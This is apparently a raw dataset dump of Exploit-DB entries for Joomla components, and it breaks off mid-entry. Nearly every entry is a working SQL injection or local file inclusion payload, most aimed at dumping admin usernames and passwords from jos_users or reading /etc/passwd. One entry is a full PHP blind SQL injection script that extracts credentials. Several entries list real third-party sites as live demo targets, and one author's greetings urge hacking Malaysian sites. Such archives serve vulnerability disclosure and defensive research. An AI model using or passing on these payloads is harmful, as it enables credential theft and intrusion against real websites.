deardaniel/secdata-raw huggingface dataset:
Exploit-DB #22097
Description: Joomla! Component com_fss 1.9.1.1447 - SQL Injection
Type: webapps
Platform: php
Date: 2012-10-19
Author: D4NB4R

Exploit:
 Exploit Title: Joomla Freestyle Support com_fss sqli

 Dork: N/A
 
 Date: [17-10-2012]
 
 Author: Daniel Barragan "D4NB4R"
 
 Twitter: @D4NB4R
 
 Vendor: http://freestyle-joomla.com
 
 Version: Version 1.9.1.1447 (last update on Oct 15, 2012)
 
 License: Commercial

 Download: http://freestyle-joomla.com/fssdownloads
  
 Tested on: [Linux(bt5)-Windows(7ultimate)]

 Especial greetz:  Pilot, _84kur10_, nav, dedalo, devboot, ksha, shine, p0fk, the_s41nt


Descripcion joomla component: 

Advanced ticketed support/help desk on your website. Includes Knowledge Base, FAQs, Announcements, Glossary, Tickets by Email, Testimonials and many other features. Robust, customizable, professional, affordable and easy to use.

Warning: Invalid argument supplied for foreach() in 


Exploit: 
    

    SQL : SQL injection

           http://127.0.0.1/index.php?option=com_fss&view=test&prodid=777777.7'+union+all+select[PII_REDACTED]7777%2C[PII_REDACTED]7777%2C[PII_REDACTED]7777%2Cversion()%2C[PII_REDACTED]7777%2C[PII_REDACTED]7777%2C[PII_REDACTED]7777%2C[PII_REDACTED]7777%2C[PII_REDACTED]7777%2C[PII_REDACTED]7777%2C[PII_REDACTED]7777--+D4NB4R
    
  
_____________________________________________________
Daniel Barragan "D4NB4R" 2012
Exploit-DB #12814
Description: Joomla! Component com_g2bridge - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-05-31
Author: akatsuchi

Exploit:
# Exploit Title: Joomla Component com_g2bridge LFI vulnerability
# Date: May 30th, 2010
# Author: akatsuchi [Explore Crew] hole@hackermail.com
# Platform / Tested on: CentOS release 4.8 (Final)
# category: webaps

=============================================================================================================


[*] Exploit

http://[site]//index.php?option=com_g2bridge&controller=[LFI]


[*] PoC

http://[site]//index.php?option=com_g2bridge&controller=../../../../../../../../../../../../../../../etc/passwd%00


=============================================================================================================


[*] Greetz

ArRay `yuda N4ck0 K4pt3N samu1241 bejamz Gameover antitos yuki pokeng
bjork NoGe c0li jack aJe kaka11 zxvf s4va zreg veter Ijoo
gore gp_davied put_ra Sephi4
Antisecurity Devilzcode evilc0de Mainhack serverisdown IndonesianHacker
Indonesian Coder | ByroeNet | and all can not wrotted


=============================================================================================================


[ It is my place. with all my friends. dgn orang-orang yang bisa menerima gw dan menganggap gw bagian darinya. karena ini adalah dunia kami. kami tidak ingin dibedakan. kita sama ]
Exploit-DB #5134
Description: Joomla! Component com_galeria - SQL Injection
Type: webapps
Platform: php
Date: 2008-02-16
Author: S@BUN

Exploit:
###############################################################
#
# joomla SQL Injection(com_galeria)
#
###############################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.milw0rm.com/author/1334
#
# MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
################################################################
#
# DORK 1 : allinurl: "com_galeria"
#
# DORK 2 : allinurl: id "com_galeria"
#
################################################################
EXPLOIT :

index.php?option=com_galeria&Itemid=S@BUN&func=detail&id=-999999/**/union/**/select/**/0,0,password,111,222,333,0,0,0,0,0,1,1,1,1,1,1,444,555,666,username/**/from/**/users/*

################################################################
# S@BUN                  i AM NOT HACKER                 S@BUN
################################################################

# milw0rm.com [2008-02-16]
Exploit-DB #36560
Description: Joomla! Component com_gallery_wd - SQL Injection
Type: webapps
Platform: php
Date: 2015-03-30
Author: CrashBandicot

Exploit:
######################################################################
# Exploit Title: Joomla Gallery WD - SQL Injection Vulnerability 
# Google Dork: inurl:option=com_gallery_wd
# Date: 29.03.2015
# Exploit Author: CrashBandicot (@DosPerl)
# Vendor HomePage: http://web-dorado.com/
# Source Component : http://extensions.joomla.org/extensions/extension/photos-a-images/galleries/gallery-wd
# Tested on: Windows
######################################################################

parameter 'theme_id' in GET vulnerable

# Example :
# Parameter: theme_id (GET)
# Type: error-based
# GET Payload : index.php?option=com_gallery_wd&view=gallerybox&image_id=19&gallery_id=2&theme_id=1 AND (SELECT 6173 FROM(SELECT COUNT(*),CONCAT(0x716b627871,(MID((IFNULL(CAST(database() AS CHAR),0x20)),1,50)),0x716a6a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

# ==================================================================================== #

parameter 'image_id' in POST vulnerable

# Example :
# URI : /index.php?option=com_gallery_wd&view=gallerybox&image_id=19&gallery_id=2
# Parameter: image_id (POST)
# Type: error-based
# POST Payload: image_id=19 AND (SELECT 6173 FROM(SELECT COUNT(*),CONCAT(0x716b627871,(MID((IFNULL(CAST(database() AS CHAR),0x20)),1,50)),0x716a6a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&rate=&ajax_task=save_hit_count&task=gallerybox.ajax_search


# ~ Demo ~ # $>

http://www.cnct.tg/
http://www.nswiop.nsw.edu.au/
http://cnmect.licee.edu.ro/

#EOF
Exploit-DB #33586
Description: Joomla! Component com_gambling - 'gamblingEvent' SQL Injection
Type: webapps
Platform: php
Date: 2010-02-01
Author: md.r00t

Exploit:
source: https://www.securityfocus.com/bid/38033/info

The 'com_gambling' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/index.php?option=com_gambling&Itemid=64&task=showGame&gamblingSid=10&gamblingEvent=[Exploit]
Exploit-DB #11222
Description: Joomla! Component com_gameserver - SQL Injection
Type: webapps
Platform: php
Date: 2010-01-22
Author: B-HUNT3|2

Exploit:
# Exploit Title: Joomla (com_gameserver) SQL Injection Vulnerability
# Date: 2010-01-22
# Author: B-Hunt3|2
# Software Link: http://joomlacode.org/gf/project/gameserver/frs/
# Version: 1.2
# CVE : N/A

[~]>> ...[BEGIN ADVISORY]...

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> TITLE: Joomla (com_gameserver) SQL Injection Vulnerability 
[~]>> LANGUAGE: PHP
[~]>> DORK: N/A
[~]>> RESEARCHER: B-HUNT3|2
[~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com
[~]>> TESTED ON: Demo Site

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> DESCRIPTION: Input var "grp" is vulnerable to SQL code injection.
[~]>> AFFECTED VERSIONS: Confirmed in 1.2 but probably other versions also. 
[~]>> RISK: High/Medium
[~]>> IMPACT: Execute Arbitrary SQL queries

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> PROOF OF CONCEPT:

[~]>> http://server/component/gameserver/?view=gameserver&grp=[SQL]
[~]>> http://server/component/gameserver/?view=gameserver&grp=-1'+union+all+select+1,concat(username,0x3A,password),3,4,5,6,7+from+jos_users%23

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> ...[END ADVISORY]...
Exploit-DB #9571
Description: Joomla! Component com_gameserver 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2009-09-01
Author: v3n0m

Exploit:
*************************************************************************
,   .                                       |          |    o     |    
|   |,---.,---.,   .,---.,---.,---.,---.,---|,---.,---.|    .,---.|__/ 
`---'|   ||   ||   |,---||    ,---||    |   ||---'|    |    ||   ||  \ 
  |  `---'`---|`---|`---^`---'`---^`    `---'`---'`    `---'``   '`   `
  `       `---'`---'                                                   
*************************************************************************
[o] Joomla Component com_gameserver 1.0 (id) SQL Injection Vulnerability

			--==[ Author ]==--
[+] Author	: v3n0m
[+] Contact	: v3n0m666[at]live[dot]com
[+] Blog	: http://0wnage.wordpress.com/
[+] Group	: YOGYACARDERLINK
[+] Site	: http://yogyacarderlink.web.id/
[+] Date	: September, 03rd 2009 [INDONESIA]
*************************************************************************
			--==[ Details ]==--
[+] Software	: Game Server Component
[+] Version 	: 1.0
[+] Vendor 	: http://www.indianpulse.in/
[+] License	: GPL
[+] Vulnerable	: SQL Injection
[+] Google Dork	: inurl:"com_gameserver"
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

[-] Exploit:
[+] 999999/**/and/**/1=2/**/union/**/select/**/group_concat(username,char(58),password)v3n0m/**/from/**/jos_users--

[-] SQLi p0c:
[+] http://127.0.0.1/[path]/index.php?option=com_gameserver&view=gamepanel&id=999999/**/and/**/1=2/**/union/**/select/**/group_concat(username,char(58),password)v3n0m/**/from/**/jos_users--

[-] Demo Live:
[+] http://www.jacker.ro/index.php?option=com_gameserver&view=gamepanel&id=999999/**/and/**/1=2/**/union/**/select/**/group_concat(username,char(58),password)v3n0m/**/from/**/jos_users--

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Special Thanks	=> str0ke & milw0rm
RedLine Crew	=> Bang Musa,Bang Yuan Rasugi Sang,Mas Andre,Dagol,Yazid
		=> Ogie,Angga,Indah Boing,by-y0u Pletokan,Andrew
YOGYACARDERLINK => lingah,leQhi,-Jali,Anak_Naga_,g0nz,IdioT_InsidE,aRiee
		=> yoga0400,ghareng,eidelweiss,pKi,kaka11,z0mb13,Travis Eshan
		=> & para gay yogyagaylink bruakakakakakakak
Others		=> g0par Santiago,Don Tukulesto,mixbrainwasher
		=> badkiddies,broken_hack,M364TR0N & ALL MOSLEM HACKERS
Big Thanks	=> mywisdom [nice 0-day, you're 31337]
		=> yadoy666 [Mari kita ganyang malingsianjink]
		=> Angela Chang [kamu cantik,eksotis & mengerikan] (=^_^=)

* Fuck to Malaysia <= the truly thief asia
  be carefull your culture art & song,island get stolen and claimed by them
  letz we hack they sites & servers !! PROUD TO BE INDONESIAN !!
* 02:55am dreaming alone about future & my old story in my bedroom

# milw0rm.com [2009-09-01]
Exploit-DB #11758
Description: Joomla! Component com_ganalytics - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-03-15
Author: AtT4CKxT3rR0r1ST

Exploit:
####################################################################
.:. Author : AtT4CKxT3rR0r1ST [F.Hack@w.cn]
.:. Team : Sec Attack Team
.:. Home : www.sec-attack.com/vb
.:. Script : Joomla Component com_ganalytics
.:. Bug Type : Local File Inclusion [LFI]
.:. Dork : inurl:"com_ganalytics"

####################################################################

===[ Exploit ]===

www.site.com/index.php?option=com_ganalytics&controller=[LFI]
www.site.com/index.php?option=com_ganalytics&controller=../../../../../../../../../../etc/passwd%00

####################################################################
Exploit-DB #11738
Description: Joomla! Component com_gcalendar Suite 2.1.5 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-03-15
Author: jdc

Exploit:
Joomla component GCalendar Suite 2.1.5 Local File Include
Version     : 2.1.5
Author      : jdc
Download : 
http://g4j.laoneo.net/content/extensions/download/doc_details/28-gcalendar-suite-215.html

http://site/index.php?option=com_gcalendar&controller=../../../../../etc/passwd%00

jdc 2010
Exploit-DB #11692
Description: Joomla! Component com_gigfe - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-11
Author: DevilZ TM

Exploit:
[~]######################################### InformatioN #############################################[~]
 
[~] Title     : Joomla Component com_gigfe Remote SQL Injection
[~] Author    : DevilZ TM By D3v1l
[~] Homepage  : http://www.DEVILZTM.com
[~] Contact   : DevilZTM@Gmail.CoM & D3v1l.blackhat@yahoo.com
 
[~]######################################### ExploiT #################################################[~]
 
[~] Vulnerable File :
 
http://127.0.0.1/index.php?option=com_gigfe&task=style&styletype=[SQL]
 
[~] ExploiT         :
 
-1/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8/**/FROM/**/jos_users/*


[~] Demo            :

http://server/index.php?option=com_gigfe&task=style&styletype=-1/**/UNION/**/SELECT/**/1,concat(username,0xa,password),3,4,5,6,7,8/**/FROM/**/jos_users/*
 
 
[~]######################################### ThankS To ... ############################################[~]
 
[~] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[~] IRANIAN Young HackerZ
 
[~]######################################## FinisH :D #################################################[~]
Exploit-DB #4248
Description: Joomla! Component com_gmaps 1.00 - 'mapId' SQL Injection
Type: webapps
Platform: php
Date: 2007-07-31
Author: Mehmet Ince

Exploit:
joomla com_gmaps 1.00 Remote SQl Injection
 
Found: Cyber-Security
 
Exploit:
index.php?option=com_gmaps&task=viewmap&Itemid=57&mapId=-1/**/union/**/select/**/0,username,password,3,4,5,6,7,8/**/from/**/jos_users/*

# milw0rm.com [2007-07-31]
Exploit-DB #12290
Description: Joomla! Component com_google - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-18
Author: AntiSecurity

Exploit:
============================================================================================================


  [o] Joomla Component Contact Us Google Map Local File Inclusion Vulnerability
 
       Software : com_google version 1.2
       Vendor   : http://joomlacomponent.inetlanka.com/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


============================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_google&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_google&controller=../../../../../../../../../../etc/passwd%00


============================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


============================================================================================================


  [o] April 18 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #8731
Description: Joomla! Component com_gsticketsystem - 'catid' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-05-19
Author: InjEctOr5

Exploit:
<?php
ini_set("max_execution_time",0);
print_r('
##############################################################################
#
#         Joomla com_gsticketsystem (catid) Blind SQL Injection Exploit
#
#                             ===  Cyb3R-1sT  ===
#                        cyb3r-1st [at] hormail.com
#                               inject0r5 t3am 
#
#                                  : Usage :
# php file.php "http://site/index.php?option=com_gsticketsystem&controller=entrypoint&task=viewCategory&catid=2"
#
#                                : Sp.GrEetZ :
#       [ All friends ] & [ 7rs.org ] & [ tryag.com] & [ sec-code.com ] 
#
##############################################################################
');
if ($argc > 1) {
$url = $argv[1];
$r = strlen(file_get_contents($url."+and+1=1--"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0--"));
$t = abs((100-($w/$r*100)));
echo "Username: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--"));
   if (abs((100-($laenge/$r*100))) > $t-1) {
      $count = $i;
      $i = 30;
   }
}
for ($j = 1; $j < $count; $j++) {
   for ($i = 46; $i <= 122; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 122;
      }
   }
}
echo "\nPassword: ";
for ($j = 1; $j <= 49; $j++) {
   for ($i = 46; $i <= 102; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 102;
      }
   }
}
} 
?>

# milw0rm.com [2009-05-19]
Exploit-DB #11935
Description: Joomla! Component com_guide - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-30
Author: DevilZ TM

Exploit:
[~]######################################### InformatioN #############################################[~]
 
[~] Title     : Joomla Component com_guide SQL Injection Vulnerability
[~] Author    : DevilZ TM By D3v1l
[~] Homepage  : http://www.DEVILZTM.com
[~] Email     : Expl0it@DevilZTM.Com
[~] Contact   : D3v1l.blackhat@yahoo.com
 
[~]#########################################   ExploiT   #############################################[~]
 
[~] Vulnerable File :
 
http://127.0.0.1/index.php?option=com_guide&season=[SQL]
 
[~] ExploiT         :
 
-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12--
 
[~] Example         :
 
http://127.0.0.1/index.php?option=com_guide&season=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12--

 
[~]######################################### ThankS To ... ############################################[~]
 
[~] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[~] IRANIAN Young HackerZ
 
[~]#########################################   FinisH :D   #############################################[~]
Exploit-DB #11225
Description: Joomla! Component com_gurujibook - SQL Injection
Type: webapps
Platform: php
Date: 2010-01-22
Author: snakespc

Exploit:
#--------------------------------------------------------
#Joomla (com_gurujibook) SQL injection Vulnerability
#--------------------------------------------------------
#Discovered By: Snakespc     ALGERIAN HaCkEr 
#Mail: snakespc@gmail.com 
#site:anti-sec.info/vb/index.php      
#-------------------------------------------------------
#Dork:inurl"com_gurujibook"
#Exploit:
#--------
#Demo:
#http://server/index.php?option=com_gurujibook&task=showPDF&bookid=-32+union+all+select+concat(username,0x3a,password),2,3,4+from+jos_users--
Exploit-DB #7538
Description: Joomla! Component com_hbssearch 1.0 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-12-21
Author: boom3rang

Exploit:
#############################################################
Joomla Component com_hbssearch(r_type) Blind SQL-injection
#############################################################


###################################################
#[~] Author :  boom3rang 
#[~] Kosova Hackers Group [www.khg-crew.ws]
#[~] Greetz : H!tm@N, KHG, chs, redc00de, pr0xy-ki11er, LiTTle-Hack3r, L1RIDON1.
----------------------------------------
#[!] <author>Joomla HBS</author>
#[!] <client>Administrator</client>
#[!] <authorEmail>dev@joomlahbs.com</authorEmail>
#[!] <authorUrl>http://joomlahbs.com</authorUrl>
#[!] <version>1.0.0</version>
###################################################

Example:
http://localhost/Path/index.php?option=com_hbssearch&task=showhoteldetails&id=1&r_type=[SQL-vulnerability]


LiveDEMO:

http://demo.joomlahbs.com/p1/index.php?option=com_hbssearch&task=showhoteldetails&id=4&r_type=1 and substring(@@version,1,1)=4&chkin=2008-08-15&chkout=2008-08-18&datedif=3&str_day=Fri&end_day=Mon&start_day=&star=&child1=0&adult1=1&Itemid=54    -->FALSE

http://demo.joomlahbs.com/p1/index.php?option=com_hbssearch&task=showhoteldetails&id=4&r_type=1 and substring(@@version,1,1)=5&chkin=2008-08-15&chkout=2008-08-18&datedif=3&str_day=Fri&end_day=Mon&start_day=&star=&child1=0&adult1=1&Itemid=54    -->TRUE


##############################
#[!] Proud 2 be Albanian
#[!] Proud 2 be Muslim
#[!] United States of Albania
##############################

# milw0rm.com [2008-12-21]
Exploit-DB #11464
Description: Joomla! Component com_hdvideoshare - SQL Injection
Type: webapps
Platform: php
Date: 2010-02-15
Author: snakespc

Exploit:
==============================================================================
[»] Joomla com_hdvideoshare Remote Sql Injection Vulnerability
==============================================================================
   
[»] Script:   [Joomla]
[»] Language: [ PHP ]
[»] Founder:  [ Snakespc Email:super_cristal@hotmail.com - Site:sec-war.com/cc> ]
[»] Greetz to:[ sec-warTeaM, PrEdAtOr ,alnjm33 >>> All My Mamber >> sec-war.com/cc ]
   
###########################################################################
 ===[ Exploit ]===
   
[»] http://server/index.php?option=com_hdvideoshare&view=player&id=-45+UNION SELECT concat(username,0x3a,password,0x3a,email),2,3,4+from+jos_users
[»]Author: Snakespc <-
###########################################################################
Exploit-DB #37519
Description: Joomla! Component com_hello - 'Controller' Local File Inclusion
Type: webapps
Platform: php
Date: 2012-07-19
Author: AJAX Security Team

Exploit:
source: https://www.securityfocus.com/bid/54611/info

The 'com_hello' component for Joomla! is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information or to execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible. 

http://www.example.com/index.php?option=com_hello&controller=../../../../../../../../etc/passwd%00
Exploit-DB #17265
Description: Joomla! Component com_hello - SQL Injection
Type: webapps
Platform: php
Date: 2011-05-09
Author: the_cyber_nuxbie

Exploit:
Author     : g3mbeLz_YCL
Site       : www.yogyacarderlink.web.id
Date       : Mei, 09 2011.
Location   : Yogyakarta, Indonesia.
Time Zone  : GMT +6:00
Dork Google: inurl:"com_hello"

[x] X.P.L:
../public_html/index.php?option=com_hello&view=hello&catid=74&secid=[SQLi] <--- Your Skill...!!!


- Shouts & Greetz:
All YOGYACARDERLINK CREW...!!!
I Love You... :-)

[x] Bugs Found By: g3mbeLz_YCL.
We